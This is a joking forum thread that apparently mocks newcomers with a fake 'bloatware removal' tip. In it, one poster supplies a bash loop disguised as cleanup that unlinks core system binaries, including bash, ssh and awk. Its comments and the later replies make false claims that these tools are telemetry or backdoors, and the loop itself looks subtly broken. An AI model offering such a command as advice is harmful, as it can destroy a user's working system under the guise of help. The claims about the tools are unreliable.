It's great, isn't it? As a side bonus, the tutorial modules on system optimization commands are just great. Check how much less RAM and CPU footprint your system's using now that you've run the tutorials. It's almost like nothing's going on in the background at all.

This is the reason that BASH will always be better than Powershell, imho.

It optomizes your computer too? Woa

Well, technically it teaches you how to optimize your system.

That said, the optimizations are really effective.

Note that the more corporate distros install PUPs (Potentially Unwanted Programs). (like clang) To uninstall, do what youd do on a Windows machine and wrip it out of your PC forcably

while read bloatware; do bloatware="$(echo "$bloatware" | cut -f1 -d'#')"; file="$(whereis "$bloatware" | cut -f2 -d' ')"; if test -f "$file"; do unlink "$file"; fi; done <<bloatlist 
clang # unwanted telemitry
bash  # promotes violence
tree    # hippy garbage
awk    # secret backdoor into your PC
ssh    # isnt up to date on its intentional encryption backdoor certificate
bloatlist

/sHope nobody dumb enough to run this Because it actually works

Lol, I know what you mean.

Isn't it fucked up how we all say that linux doesn't have viruses, and yet how many times have you ever seen an install of Mint or Ubuntu that didn't have "Tree" or "Awk" just sitting there waiting to ruin your whole day.

I swear to God Canonical have some things to answer for.
